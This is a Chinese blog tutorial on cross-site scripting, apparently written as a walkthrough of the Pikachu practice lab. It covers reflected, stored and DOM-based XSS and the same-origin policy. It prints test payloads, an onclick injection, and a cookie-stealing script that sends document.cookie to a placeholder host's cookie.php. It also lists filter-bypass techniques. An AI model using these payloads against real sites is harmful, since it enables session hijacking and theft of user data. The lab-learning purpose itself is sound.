【网络安全】-xss跨站脚本攻击-pikachu

文章目录

前言 什么是xss跨站脚本攻击?

1.xss的分类:

1.1 反射型xss

1.2 存储型xss

1.3 Dom型xss:

2.同源策略:

2.1同源策略的定义

2.2同源策略的绕过

2.3 绕过同源策略的绕过


前言 什么是xss跨站脚本攻击?

因为网站程序对用户的输入过滤不足,导致hacker可以在网站上插入恶意脚本代码。

这些脚本代码在输出时会被当成源进行代码解析执行,弹窗显示在页面上,对其他用户造成影响,例如劫持cookie、钓鱼、挂马、盗取用户资料、利用用户身份进行非法活动或者直接上传木马病毒侵害主机。


1.xss的分类:

1.1 反射型xss

传参不被存储在数据库中,服务端只是简单的把反射型XSS用户输入的数据反射给浏览器,是一次性的。

举例:皮卡丘靶场,反射型xss。

输入1,查看回显信息,message=1&sumbmit=提交

依次输入2,3查看。

发现回显信息分别是message=2&sumbmit=提交,message=3&sumbmit=提交。

分析:message=我们输入的信息&点击提交的表单。

而本题是xss跨站脚本攻击, 我们输入的信息就是xss脚本代码的插入点,可以在网站上插入恶意脚本代码, 等同于message=恶意脚本代码&点击提交的表单。

我们插入<script>alert('XSS');</script>恶意脚本试试。

这说明我们插入恶意脚本已经被执行。

接下来便可以进行xss跨站脚本攻击。

(1) 劫持cookie:

  1. 弹出cookie:<script>alert(document.cookie)</script>
  1. 劫持cookie:

第一步:编写cookie.php脚本

第二步:

<script>document.location='http://主机地址/cookie.php //cookie地址

?cookie='+document.cookie; </script> //劫持cookie

第四步:访问document.location='http://主机地址/cookie.php 查看。

(2) 钓鱼钓鱼、挂马、盗取用户资料之类的大差不差,仅仅结合了csrf,深入学习时别忘了《网络安全法》。

1.2 存储型xss

传参被存在数据库里面可以重复使用。

输入1,2都没有回显信息,插入<script>alert('XSS');</script>脚本试试。

还是弹窗,感觉没什么特别的。

直到我多输了几次,每次进入都是满屏弹窗,一个接一个,有这时间,哪怕知道hacker入侵也只能干等着,想想那种xx的心......

1.3 Dom型xss:

不与后台服务器产生数据交,通过前端的dom节点形成。

输入1,回显你看到了什么?

输入2,还是回显你看到了什么?

插入恶意脚本<script>alert('XSS');</script>试试,还是回显你看到了什么?

好像是固定外链,点一下返回报错界面。

联想Dom型xss:不与后台服务器产生数据交,通过前端的dom节点形成。

所以你看到了什么?是前端的dom节点,检查页面源代码,

右上角,点击你看到了什么?进行检查,灰色选框自动跳转到代码行,下拉菜单得到源代码。

分析:

输入1

源代码<a href="1" _msttexthash="27140139" _msthash="89">你看到了什么?</a>

其中点击1跳转的便是我们的报错界面。

但是插入恶意脚本为什么也是外链?

不该是弹窗吗?

直到我们查看源代码,才发现:我们的恶意脚本<script>alert('XSS');</script>

因闭合方式空缺成了

根据提示:

构建' οnclick="alert('xss')">,弹出脚本。

2.同源策略:

为了安全考虑,所有浏览器都约定了同源策略-禁止页面加载或执行与自身来源不同的域中的任何脚本。

2.1同源策略的定义:

在同源策略中,"源"是由三个要素组成的:

  1. 协议(Protocol):如http、https。

  2. 域名(Domain):如example.com、localhost。

  3. 端口(Port):如80(HTTP的默认端口)、443(HTTPS的默认端口)。

只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。

2.2同源策略的绕过:

同源策略虽然安全,但在实际生活中,难免需要跨域访问资源:

  1. CORS(跨源资源共享):服务器设置Access-Control-Allow-Origin等CORS头部,允许来自特定源的请求访问资源。

  2. JSONP:一种非官方的跨域数据交换协议,通过动态插入<script>标签来实现跨域请求,但需要注意的是,JSONP只支持GET请求,并且存在安全风险,因为它无法验证响应内容的来源。

  3. 其他iframe、location.hash、window.name、HTML标签也可以用于实现跨域资源访问。

2.3 绕过同源策略的绕过

在绕过同源策略时,又引入了跨站脚本攻击(XSS)等安全风险。

  1. 只是严格过滤了恶意脚本语言的关键字,可以注释,编码,拼凑,大小写混合绕过。

  2. 标签语法蓸换

  3. 特殊符号干扰

  4. 提交方式更改

  5. 结合其他漏洞绕过

结语:xss攻击,同源策略,同源策略的绕过,绕过同源策略的绕过,怎么说呢,好像一场宿命的轮回......

相关推荐
PleaSure乐事4 分钟前
【React.js】AntDesignPro左侧菜单栏栏目名称不显示的解决方案
前端·javascript·react.js·前端框架·webstorm·antdesignpro
哟哟耶耶4 分钟前
js-将JavaScript对象或值转换为JSON字符串 JSON.stringify(this.SelectDataListCourse)
前端·javascript·json
理想不理想v8 分钟前
vue种ref跟reactive的区别?
前端·javascript·vue.js·webpack·前端框架·node.js·ecmascript
知孤云出岫9 分钟前
web 渗透学习指南——初学者防入狱篇
前端·网络安全·渗透·web
mushangqiujin12 分钟前
ctfshow web文件上传 web166-170
网络安全
易云码33 分钟前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
栈老师不回家1 小时前
Vue 计算属性和监听器
前端·javascript·vue.js
前端啊龙1 小时前
用vue3封装丶高仿element-plus里面的日期联级选择器,日期选择器
前端·javascript·vue.js
一颗松鼠1 小时前
JavaScript 闭包是什么?简单到看完就理解!
开发语言·前端·javascript·ecmascript
小远yyds2 小时前
前端Web用户 token 持久化
开发语言·前端·javascript·vue.js